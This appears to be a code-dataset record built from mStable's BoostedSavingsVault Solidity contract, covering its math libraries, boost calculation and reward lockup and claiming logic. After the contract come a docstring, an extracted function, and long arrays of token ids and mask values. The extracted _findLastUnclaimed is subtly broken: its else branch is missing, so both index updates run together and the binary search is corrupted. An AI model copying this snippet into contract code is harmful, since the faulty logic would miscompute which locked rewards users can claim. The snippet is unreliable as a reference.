* @param x Simple uint256 to scale
* @return Scaled value a to an exact number
*/
function scaleInteger(uint256 x) internal pure returns (uint256) {
return x.mul(FULL_SCALE);
}
/***************************************
PRECISE ARITHMETIC
****************************************/
/**
* @dev Multiplies two precise units, and then truncates by the full scale
* @param x Left hand input to multiplication
* @param y Right hand input to multiplication
* @return Result after multiplying the two inputs and then dividing by the shared
* scale unit
*/
function mulTruncate(uint256 x, uint256 y) internal pure returns (uint256) {
return mulTruncateScale(x, y, FULL_SCALE);
}
/**
* @dev Multiplies two precise units, and then truncates by the given scale. For example,
* when calculating 90% of 10e18, (10e18 * 9e17) / 1e18 = (9e36) / 1e18 = 9e18
* @param x Left hand input to multiplication
* @param y Right hand input to multiplication
* @param scale Scale unit
* @return Result after multiplying the two inputs and then dividing by the shared
* scale unit
*/
function mulTruncateScale(
uint256 x,
uint256 y,
uint256 scale
) internal pure returns (uint256) {
// e.g. assume scale = fullScale
// z = 10e18 * 9e17 = 9e36
uint256 z = x.mul(y);
// return 9e38 / 1e18 = 9e18
return z.div(scale);
}
/**
* @dev Multiplies two precise units, and then truncates by the full scale, rounding up the result
* @param x Left hand input to multiplication
* @param y Right hand input to multiplication
* @return Result after multiplying the two inputs and then dividing by the shared
* scale unit, rounded up to the closest base unit.
*/
function mulTruncateCeil(uint256 x, uint256 y) internal pure returns (uint256) {
// e.g. 8e17 * 17268172638 = 138145381104e17
uint256 scaled = x.mul(y);
// e.g. 138145381104e17 + 9.99...e17 = 138145381113.99...e17
uint256 ceil = scaled.add(FULL_SCALE.sub(1));
// e.g. 13814538111.399...e18 / 1e18 = 13814538111
return ceil.div(FULL_SCALE);
}
/**
* @dev Precisely divides two units, by first scaling the left hand operand. Useful
* for finding percentage weightings, i.e. 8e18/10e18 = 80% (or 8e17)
* @param x Left hand input to division
* @param y Right hand input to division
* @return Result after multiplying the left operand by the scale, and
* executing the division on the right hand input.
*/
function divPrecisely(uint256 x, uint256 y) internal pure returns (uint256) {
// e.g. 8e18 * 1e18 = 8e36
uint256 z = x.mul(FULL_SCALE);
// e.g. 8e36 / 10e18 = 8e17
return z.div(y);
}
/***************************************
RATIO FUNCS
****************************************/
/**
* @dev Multiplies and truncates a token ratio, essentially flooring the result
* i.e. How much mAsset is this bAsset worth?
* @param x Left hand operand to multiplication (i.e Exact quantity)
* @param ratio bAsset ratio
* @return Result after multiplying the two inputs and then dividing by the ratio scale
*/
function mulRatioTruncate(uint256 x, uint256 ratio) internal pure returns (uint256 c) {
return mulTruncateScale(x, ratio, RATIO_SCALE);
}
/**
* @dev Multiplies and truncates a token ratio, rounding up the result
* i.e. How much mAsset is this bAsset worth?
* @param x Left hand input to multiplication (i.e Exact quantity)
* @param ratio bAsset ratio
* @return Result after multiplying the two inputs and then dividing by the shared
* ratio scale, rounded up to the closest base unit.
*/
function mulRatioTruncateCeil(uint256 x, uint256 ratio) internal pure returns (uint256) {
// e.g. How much mAsset should I burn for this bAsset (x)?
// 1e18 * 1e8 = 1e26
uint256 scaled = x.mul(ratio);
// 1e26 + 9.99e7 = 100..00.999e8
uint256 ceil = scaled.add(RATIO_SCALE.sub(1));
// return 100..00.999e8 / 1e8 = 1e18
return ceil.div(RATIO_SCALE);
}
/**
* @dev Precisely divides two ratioed units, by first scaling the left hand operand
* i.e. How much bAsset is this mAsset worth?
* @param x Left hand operand in division
* @param ratio bAsset ratio
* @return Result after multiplying the left operand by the scale, and
* executing the division on the right hand input.
*/
function divRatioPrecisely(uint256 x, uint256 ratio) internal pure returns (uint256 c) {
// e.g. 1e14 * 1e8 = 1e22
uint256 y = x.mul(RATIO_SCALE);
// return 1e22 / 1e12 = 1e10
return y.div(ratio);
}
/***************************************
HELPERS
****************************************/
/**
* @dev Calculates minimum of two numbers
* @param x Left hand input
* @param y Right hand input
* @return Minimum of the two inputs
*/
function min(uint256 x, uint256 y) internal pure returns (uint256) {
return x > y ? y : x;
}
/**
* @dev Calculated maximum of two numbers
* @param x Left hand input
* @param y Right hand input
* @return Maximum of the two inputs
*/
function max(uint256 x, uint256 y) internal pure returns (uint256) {
return x > y ? x : y;
}
/**
* @dev Clamps a value to an upper bound
* @param x Left hand input
* @param upperBound Maximum possible value to return
* @return Input x clamped to a maximum value, upperBound
*/
function clamp(uint256 x, uint256 upperBound) internal pure returns (uint256) {
return x > upperBound ? upperBound : x;
}
}
library Root {
using SafeMath for uint256;
/**
* @dev Returns the square root of a given number
* @param x Input
* @return y Square root of Input
*/
function sqrt(uint256 x) internal pure returns (uint256 y) {
if (x == 0) return 0;
else {
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x8) {
r <<= 1;
}
r = (r.add(x).div(r)) >> 1;
r = (r.add(x).div(r)) >> 1;
r = (r.add(x).div(r)) >> 1;
r = (r.add(x).div(r)) >> 1;
r = (r.add(x).div(r)) >> 1;
r = (r.add(x).div(r)) >> 1;
r = (r.add(x).div(r)) >> 1; // Seven iterations should be enough
uint256 r1 = x.div(r);
return uint256(r < r1 ? r : r1);
}
}
}
interface IBoostDirector {
function getBalance(address _user) external returns (uint256);
function setDirection(
address _old,
address _new,
bool _pokeNew
) external;
function whitelistVaults(address[] calldata _vaults) external;
}
contract BoostedTokenWrapper is InitializableReentrancyGuard {
using SafeMath for uint256;
using StableMath for uint256;
using SafeERC20 for IERC20;
IERC20 public constant stakingToken = IERC20(0x30647a72Dc82d7Fbb1123EA74716aB8A317Eac19);
// mStable MTA Staking contract via the BoostDirectorV2
IBoostDirector public constant boostDirector = IBoostDirector(0xBa05FD2f20AE15B0D3f20DDc6870FeCa6ACd3592);
uint256 private _totalBoostedSupply;
mapping(address => uint256) private _boostedBalances;
mapping(address => uint256) private _rawBalances;
// Vars for use in the boost calculations
uint256 private constant MIN_DEPOSIT = 1e18;
uint256 private constant MAX_VMTA = 600000e18;
uint256 private constant MAX_BOOST = 3e18;
uint256 private constant MIN_BOOST = 1e18;
uint256 private constant FLOOR = 98e16;
uint256 public constant boostCoeff = 9;
uint256 public constant priceCoeff = 1e17;
/**
* @dev TokenWrapper constructor
**/
function _initialize() internal {
InitializableReentrancyGuard._initialize();
}
/**
* @dev Get the total boosted amount
* @return uint256 total supply
*/
function totalSupply() public view returns (uint256) {
return _totalBoostedSupply;
}
/**
* @dev Get the boosted balance of a given account
* @param _account User for which to retrieve balance
*/
function balanceOf(address _account) public view returns (uint256) {
return _boostedBalances[_account];
}
/**
* @dev Get the RAW balance of a given account
* @param _account User for which to retrieve balance
*/
function rawBalanceOf(address _account) public view returns (uint256) {
return _rawBalances[_account];
}
/**
* @dev Read the boost for the given address
* @param _account User for which to return the boost
* @return boost where 1x == 1e18
*/
function getBoost(address _account) public view returns (uint256) {
return balanceOf(_account).divPrecisely(rawBalanceOf(_account));
}
/**
* @dev Deposits a given amount of StakingToken from sender
* @param _amount Units of StakingToken
*/
function _stakeRaw(address _beneficiary, uint256 _amount) internal nonReentrant {
_rawBalances[_beneficiary] = _rawBalances[_beneficiary].add(_amount);
stakingToken.safeTransferFrom(msg.sender, address(this), _amount);
}
/**
* @dev Withdraws a given stake from sender
* @param _amount Units of StakingToken
*/
function _withdrawRaw(uint256 _amount) internal nonReentrant {
_rawBalances[msg.sender] = _rawBalances[msg.sender].sub(_amount);
stakingToken.safeTransfer(msg.sender, _amount);
}
/**
* @dev Updates the boost for the given address according to the formula
* boost = min(0.5 + c * vMTA_balance / imUSD_locked^(7/8), 1.5)
* If rawBalance <= MIN_DEPOSIT, boost is 0
* @param _account User for which to update the boost
*/
function _setBoost(address _account) internal {
uint256 rawBalance = _rawBalances[_account];
uint256 boostedBalance = _boostedBalances[_account];
uint256 boost = MIN_BOOST;
// Check whether balance is sufficient
// is_boosted is used to minimize gas usage
uint256 scaledBalance = (rawBalance * priceCoeff) / 1e18;
if (rawBalance >= MIN_DEPOSIT) {
uint256 votingWeight = boostDirector.getBalance(_account);
boost = _computeBoost(scaledBalance, votingWeight);
}
uint256 newBoostedBalance = rawBalance.mulTruncate(boost);
if (newBoostedBalance != boostedBalance) {
_totalBoostedSupply = _totalBoostedSupply.sub(boostedBalance).add(newBoostedBalance);
_boostedBalances[_account] = newBoostedBalance;
}
}
/**
* @dev Computes the boost for
* boost = min(m, max(1, 0.95 + c * min(voting_weight, f) / deposit^(3/4)))
* @param _scaledDeposit deposit amount in terms of USD
*/
function _computeBoost(uint256 _scaledDeposit, uint256 _votingWeight)
private
view
returns (uint256 boost)
{
if (_votingWeight == 0) return MIN_BOOST;
// Compute balance to the power 3/4
uint256 sqrt1 = Root.sqrt(_scaledDeposit * 1e6);
uint256 sqrt2 = Root.sqrt(sqrt1);
uint256 denominator = sqrt1 * sqrt2;
boost =
(((StableMath.min(_votingWeight, MAX_VMTA) * boostCoeff) / 10) * 1e18) /
denominator;
boost = StableMath.min(MAX_BOOST, StableMath.max(MIN_BOOST, FLOOR + boost));
}
}
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(
initializing || isConstructor() || !initialized,
"Contract instance has already been initialized"
);
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly {
cs := extcodesize(self)
}
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
library SafeCast {
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value < 2**128, "SafeCast: value doesn't fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value < 2**64, "SafeCast: value doesn't fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value < 2**32, "SafeCast: value doesn't fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value < 2**16, "SafeCast: value doesn't fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value < 2**8, "SafeCast: value doesn't fit in 8 bits");
return uint8(value);
}
}
// Internal
// Libs
/**
* @title BoostedSavingsVault
* @author Stability Labs Pty. Ltd.
* @notice Accrues rewards second by second, based on a users boosted balance
* @dev Forked from rewards/staking/StakingRewards.sol
* Changes:
* - Lockup implemented in `updateReward` hook (20% unlock immediately, 80% locked for 6 months)
* - `updateBoost` hook called after every external action to reset a users boost
* - Struct packing of common data
* - Searching for and claiming of unlocked rewards
*/
contract BoostedSavingsVault is
IBoostedVaultWithLockup,
Initializable,
InitializableRewardsDistributionRecipient,
BoostedTokenWrapper
{
using StableMath for uint256;
using SafeCast for uint256;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount, address payer);
event Withdrawn(address indexed user, uint256 amount);
event Poked(address indexed user);
event RewardPaid(address indexed user, uint256 reward);
IERC20 public constant rewardsToken = IERC20(0xa3BeD4E1c75D00fa6f4E5E6922DB7261B5E9AcD2);
uint64 public constant DURATION = 7 days;
// Length of token lockup, after rewards are earned
uint256 public constant LOCKUP = 26 weeks;
// Percentage of earned tokens unlocked immediately
uint64 public constant UNLOCK = 2e17;
// Timestamp for current period finish
uint256 public periodFinish;
// RewardRate for the rest of the PERIOD
uint256 public rewardRate;
// Last time any user took action
uint256 public lastUpdateTime;
// Ever increasing rewardPerToken rate, based on % of total supply
uint256 public rewardPerTokenStored;
mapping(address => UserData) public userData;
// Locked reward tracking
mapping(address => Reward[]) public userRewards;
mapping(address => uint64) public userClaim;
struct UserData {
uint128 rewardPerTokenPaid;
uint128 rewards;
uint64 lastAction;
uint64 rewardCount;
}
struct Reward {
uint64 start;
uint64 finish;
uint128 rate;
}
/**
* @dev StakingRewards is a TokenWrapper and RewardRecipient
* Constants added to bytecode at deployTime to reduce SLOAD cost
*/
function initialize(address _rewardsDistributor) external initializer {
InitializableRewardsDistributionRecipient._initialize(_rewardsDistributor);
BoostedTokenWrapper._initialize();
}
/**
* @dev Updates the reward for a given address, before executing function.
* Locks 80% of new rewards up for 6 months, vesting linearly from (time of last action + 6 months) to
* (now + 6 months). This allows rewards to be distributed close to how they were accrued, as opposed
* to locking up for a flat 6 months from the time of this fn call (allowing more passive accrual).
*/
modifier updateReward(address _account) {
_updateReward(_account);
_;
}
function _updateReward(address _account) internal {
uint256 currentTime = block.timestamp;
uint64 currentTime64 = SafeCast.toUint64(currentTime);
// Setting of global vars
(uint256 newRewardPerToken, uint256 lastApplicableTime) = _rewardPerToken();
// If statement protects against loss in initialisation case
if (newRewardPerToken > 0) {
rewardPerTokenStored = newRewardPerToken;
lastUpdateTime = lastApplicableTime;
// Setting of personal vars based on new globals
if (_account != address(0)) {
UserData memory data = userData[_account];
uint256 earned = _earned(_account, data.rewardPerTokenPaid, newRewardPerToken);
// If earned == 0, then it must either be the initial stake, or an action in the
// same block, since new rewards unlock after each block.
if (earned > 0) {
uint256 unlocked = earned.mulTruncate(UNLOCK);
uint256 locked = earned.sub(unlocked);
userRewards[_account].push(
Reward({
start: SafeCast.toUint64(LOCKUP.add(data.lastAction)),
finish: SafeCast.toUint64(LOCKUP.add(currentTime)),
rate: SafeCast.toUint128(locked.div(currentTime.sub(data.lastAction)))
})
);
userData[_account] = UserData({
rewardPerTokenPaid: SafeCast.toUint128(newRewardPerToken),
rewards: SafeCast.toUint128(unlocked.add(data.rewards)),
lastAction: currentTime64,
rewardCount: data.rewardCount + 1
});
} else {
userData[_account] = UserData({
rewardPerTokenPaid: SafeCast.toUint128(newRewardPerToken),
rewards: data.rewards,
lastAction: currentTime64,
rewardCount: data.rewardCount
});
}
}
} else if (_account != address(0)) {
// This should only be hit once, for first staker in initialisation case
userData[_account].lastAction = currentTime64;
}
}
/** @dev Updates the boost for a given address, after the rest of the function has executed */
modifier updateBoost(address _account) {
_;
_setBoost(_account);
}
/***************************************
ACTIONS - EXTERNAL
****************************************/
/**
* @dev Stakes a given amount of the StakingToken for the sender
* @param _amount Units of StakingToken
*/
function stake(uint256 _amount) external updateReward(msg.sender) updateBoost(msg.sender) {
_stake(msg.sender, _amount);
}
/**
* @dev Stakes a given amount of the StakingToken for a given beneficiary
* @param _beneficiary Staked tokens are credited to this address
* @param _amount Units of StakingToken
*/
function stake(address _beneficiary, uint256 _amount)
external
updateReward(_beneficiary)
updateBoost(_beneficiary)
{
_stake(_beneficiary, _amount);
}
/**
* @dev Withdraws stake from pool and claims any unlocked rewards.
* Note, this function is costly - the args for _claimRewards
* should be determined off chain and then passed to other fn
*/
function exit() external updateReward(msg.sender) updateBoost(msg.sender) {
_withdraw(rawBalanceOf(msg.sender));
(uint256 first, uint256 last) = _unclaimedEpochs(msg.sender);
_claimRewards(first, last);
}
/**
* @dev Withdraws stake from pool and claims any unlocked rewards.
* @param _first Index of the first array element to claim
* @param _last Index of the last array element to claim
*/
function exit(uint256 _first, uint256 _last)
external
updateReward(msg.sender)
updateBoost(msg.sender)
{
_withdraw(rawBalanceOf(msg.sender));
_claimRewards(_first, _last);
}
/**
* @dev Withdraws given stake amount from the pool
* @param _amount Units of the staked token to withdraw
*/
function withdraw(uint256 _amount) external updateReward(msg.sender) updateBoost(msg.sender) {
_withdraw(_amount);
}
/**
* @dev Claims only the tokens that have been immediately unlocked, not including
* those that are in the lockers.
*/
function claimReward() external updateReward(msg.sender) updateBoost(msg.sender) {
uint256 unlocked = userData[msg.sender].rewards;
userData[msg.sender].rewards = 0;
if (unlocked > 0) {
rewardsToken.safeTransfer(msg.sender, unlocked);
emit RewardPaid(msg.sender, unlocked);
}
}
/**
* @dev Claims all unlocked rewards for sender.
* Note, this function is costly - the args for _claimRewards
* should be determined off chain and then passed to other fn
*/
function claimRewards() external updateReward(msg.sender) updateBoost(msg.sender) {
(uint256 first, uint256 last) = _unclaimedEpochs(msg.sender);
_claimRewards(first, last);
}
/**
* @dev Claims all unlocked rewards for sender. Both immediately unlocked
* rewards and also locked rewards past their time lock.
* @param _first Index of the first array element to claim
* @param _last Index of the last array element to claim
*/
function claimRewards(uint256 _first, uint256 _last)
external
updateReward(msg.sender)
updateBoost(msg.sender)
{
_claimRewards(_first, _last);
}
/**
* @dev Pokes a given account to reset the boost
*/
function pokeBoost(address _account) external updateReward(_account) updateBoost(_account) {
emit Poked(_account);
}
/***************************************
ACTIONS - INTERNAL
****************************************/
/**
* @dev Claims all unlocked rewards for sender. Both immediately unlocked
* rewards and also locked rewards past their time lock.
* @param _first Index of the first array element to claim
* @param _last Index of the last array element to claim
*/
function _claimRewards(uint256 _first, uint256 _last) internal {
(uint256 unclaimed, uint256 lastTimestamp) = _unclaimedRewards(msg.sender, _first, _last);
userClaim[msg.sender] = uint64(lastTimestamp);
uint256 unlocked = userData[msg.sender].rewards;
userData[msg.sender].rewards = 0;
uint256 total = unclaimed.add(unlocked);
if (total > 0) {
rewardsToken.safeTransfer(msg.sender, total);
emit RewardPaid(msg.sender, total);
}
}
/**
* @dev Internally stakes an amount by depositing from sender,
* and crediting to the specified beneficiary
* @param _beneficiary Staked tokens are credited to this address
* @param _amount Units of StakingToken
*/
function _stake(address _beneficiary, uint256 _amount) internal {
require(_amount > 0, "Cannot stake 0");
require(_beneficiary != address(0), "Invalid beneficiary address");
_stakeRaw(_beneficiary, _amount);
emit Staked(_beneficiary, _amount, msg.sender);
}
/**
* @dev Withdraws raw units from the sender
* @param _amount Units of StakingToken
*/
function _withdraw(uint256 _amount) internal {
require(_amount > 0, "Cannot withdraw 0");
_withdrawRaw(_amount);
emit Withdrawn(msg.sender, _amount);
}
/***************************************
GETTERS
****************************************/
/**
* @dev Gets the RewardsToken
*/
function getRewardToken() external view returns (IERC20) {
return rewardsToken;
}
/**
* @dev Gets the last applicable timestamp for this reward period
*/
function lastTimeRewardApplicable() public view returns (uint256) {
return StableMath.min(block.timestamp, periodFinish);
}
/**
* @dev Calculates the amount of unclaimed rewards per token since last update,
* and sums with stored to give the new cumulative reward per token
* @return 'Reward' per staked token
*/
function rewardPerToken() public view returns (uint256) {
(uint256 rewardPerToken_, ) = _rewardPerToken();
return rewardPerToken_;
}
function _rewardPerToken()
internal
view
returns (uint256 rewardPerToken_, uint256 lastTimeRewardApplicable_)
{
uint256 lastApplicableTime = lastTimeRewardApplicable(); // + 1 SLOAD
uint256 timeDelta = lastApplicableTime.sub(lastUpdateTime); // + 1 SLOAD
// If this has been called twice in the same block, shortcircuit to reduce gas
if (timeDelta == 0) {
return (rewardPerTokenStored, lastApplicableTime);
}
// new reward units to distribute = rewardRate * timeSinceLastUpdate
uint256 rewardUnitsToDistribute = rewardRate.mul(timeDelta); // + 1 SLOAD
uint256 supply = totalSupply(); // + 1 SLOAD
// If there is no StakingToken liquidity, avoid div(0)
// If there is nothing to distribute, short circuit
if (supply == 0 || rewardUnitsToDistribute == 0) {
return (rewardPerTokenStored, lastApplicableTime);
}
// new reward units per token = (rewardUnitsToDistribute * 1e18) / totalTokens
uint256 unitsToDistributePerToken = rewardUnitsToDistribute.divPrecisely(supply);
// return summed rate
return (rewardPerTokenStored.add(unitsToDistributePerToken), lastApplicableTime); // + 1 SLOAD
}
/**
* @dev Returned the units of IMMEDIATELY claimable rewards a user has to receive. Note - this
* does NOT include the majority of rewards which will be locked up.
* @param _account User address
* @return Total reward amount earned
*/
function earned(address _account) public view returns (uint256) {
uint256 newEarned = _earned(
_account,
userData[_account].rewardPerTokenPaid,
rewardPerToken()
);
uint256 immediatelyUnlocked = newEarned.mulTruncate(UNLOCK);
return immediatelyUnlocked.add(userData[_account].rewards);
}
/**
* @dev Calculates all unclaimed reward data, finding both immediately unlocked rewards
* and those that have passed their time lock.
* @param _account User address
* @return amount Total units of unclaimed rewards
* @return first Index of the first userReward that has unlocked
* @return last Index of the last userReward that has unlocked
*/
function unclaimedRewards(address _account)
external
view
returns (
uint256 amount,
uint256 first,
uint256 last
)
{
(first, last) = _unclaimedEpochs(_account);
(uint256 unlocked, ) = _unclaimedRewards(_account, first, last);
amount = unlocked.add(earned(_account));
}
/** @dev Returns only the most recently earned rewards */
function _earned(
address _account,
uint256 _userRewardPerTokenPaid,
uint256 _currentRewardPerToken
) internal view returns (uint256) {
// current rate per token - rate user previously received
uint256 userRewardDelta = _currentRewardPerToken.sub(_userRewardPerTokenPaid); // + 1 SLOAD
// Short circuit if there is nothing new to distribute
if (userRewardDelta == 0) {
return 0;
}
// new reward = staked tokens * difference in rate
uint256 userNewReward = balanceOf(_account).mulTruncate(userRewardDelta); // + 1 SLOAD
// add to previous rewards
return userNewReward;
}
/**
* @dev Gets the first and last indexes of array elements containing unclaimed rewards
*/
function _unclaimedEpochs(address _account)
internal
view
returns (uint256 first, uint256 last)
{
uint64 lastClaim = userClaim[_account];
uint256 firstUnclaimed = _findFirstUnclaimed(lastClaim, _account);
uint256 lastUnclaimed = _findLastUnclaimed(_account);
return (firstUnclaimed, lastUnclaimed);
}
/**
* @dev Sums the cumulative rewards from a valid range
*/
function _unclaimedRewards(
address _account,
uint256 _first,
uint256 _last
) internal view returns (uint256 amount, uint256 latestTimestamp) {
uint256 currentTime = block.timestamp;
uint64 lastClaim = userClaim[_account];
// Check for no rewards unlocked
uint256 totalLen = userRewards[_account].length;
if (_first == 0 && _last == 0) {
if (totalLen == 0 || currentTime <= userRewards[_account][0].start) {
return (0, currentTime);
}
}
// If there are previous unlocks, check for claims that would leave them untouchable
if (_first > 0) {
require(
lastClaim >= userRewards[_account][_first.sub(1)].finish,
"Invalid _first arg: Must claim earlier entries"
);
}
uint256 count = _last.sub(_first).add(1);
for (uint256 i = 0; i < count; i++) {
uint256 id = _first.add(i);
Reward memory rwd = userRewards[_account][id];
require(currentTime >= rwd.start && lastClaim <= rwd.finish, "Invalid epoch");
uint256 endTime = StableMath.min(rwd.finish, currentTime);
uint256 startTime = StableMath.max(rwd.start, lastClaim);
uint256 unclaimed = endTime.sub(startTime).mul(rwd.rate);
amount = amount.add(unclaimed);
}
// Calculate last relevant timestamp here to allow users to avoid issue of OOG errors
// by claiming rewards in batches.
latestTimestamp = StableMath.min(currentTime, userRewards[_account][_last].finish);
}
/**
* @dev Uses binarysearch to find the unclaimed lockups for a given account
*/
function _findFirstUnclaimed(uint64 _lastClaim, address _account)
internal
view
returns (uint256 first)
{
uint256 len = userRewards[_account].length;
if (len == 0) return 0;
// Binary search
uint256 min = 0;
uint256 max = len - 1;
// Will be always enough for 128-bit numbers
for (uint256 i = 0; i < 128; i++) {
if (min >= max) break;
uint256 mid = (min.add(max).add(1)).div(2);
if (_lastClaim > userRewards[_account][mid].start) {
min = mid;
} else {
max = mid.sub(1);
}
}
return min;
}
/**
* @dev Uses binarysearch to find the unclaimed lockups for a given account
*/
function _findLastUnclaimed(address _account) internal view returns (uint256 first) {
uint256 len = userRewards[_account].length;
if (len == 0) return 0;
// Binary search
uint256 min = 0;
uint256 max = len - 1;
// Will be always enough for 128-bit numbers
for (uint256 i = 0; i < 128; i++) {
if (min >= max) break;
uint256 mid = (min.add(max).add(1)).div(2);
if (now > userRewards[_account][mid].start) {
min = mid;
} else {
max = mid.sub(1);
}
}
return min;
}
/***************************************
ADMIN
****************************************/
/**
* @dev Notifies the contract that new rewards have been added.
* Calculates an updated rewardRate based on the rewards in period.
* @param _reward Units of RewardToken that have been added to the pool
*/
function notifyRewardAmount(uint256 _reward)
external
onlyRewardsDistributor
updateReward(address(0))
{
require(_reward < 1e24, "Cannot notify with more than a million units");
uint256 currentTime = block.timestamp;
// If previous period over, reset rewardRate
if (currentTime >= periodFinish) {
rewardRate = _reward.div(DURATION);
}
// If additional reward to existing period, calc sum
else {
uint256 remaining = periodFinish.sub(currentTime);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = _reward.add(leftover).div(DURATION);
}
lastUpdateTime = currentTime;
periodFinish = currentTime.add(DURATION);
emit RewardAdded(_reward);
}
}
|
* @dev Uses binarysearch to find the unclaimed lockups for a given account/ Binary search Will be always enough for 128-bit numbers
|
function _findLastUnclaimed(address _account) internal view returns (uint256 first) {
uint256 len = userRewards[_account].length;
if (len == 0) return 0;
uint256 min = 0;
uint256 max = len - 1;
for (uint256 i = 0; i < 128; i++) {
if (min >= max) break;
uint256 mid = (min.add(max).add(1)).div(2);
if (now > userRewards[_account][mid].start) {
min = mid;
max = mid.sub(1);
}
}
return min;
}
| 5,881,952 |
[
1,
4625,
348,
7953,
560,
30,
380,
632,
5206,
14854,
3112,
3072,
358,
1104,
326,
6301,
80,
4581,
329,
2176,
18294,
364,
279,
864,
2236,
19,
7896,
1623,
9980,
506,
3712,
7304,
364,
8038,
17,
3682,
5600,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
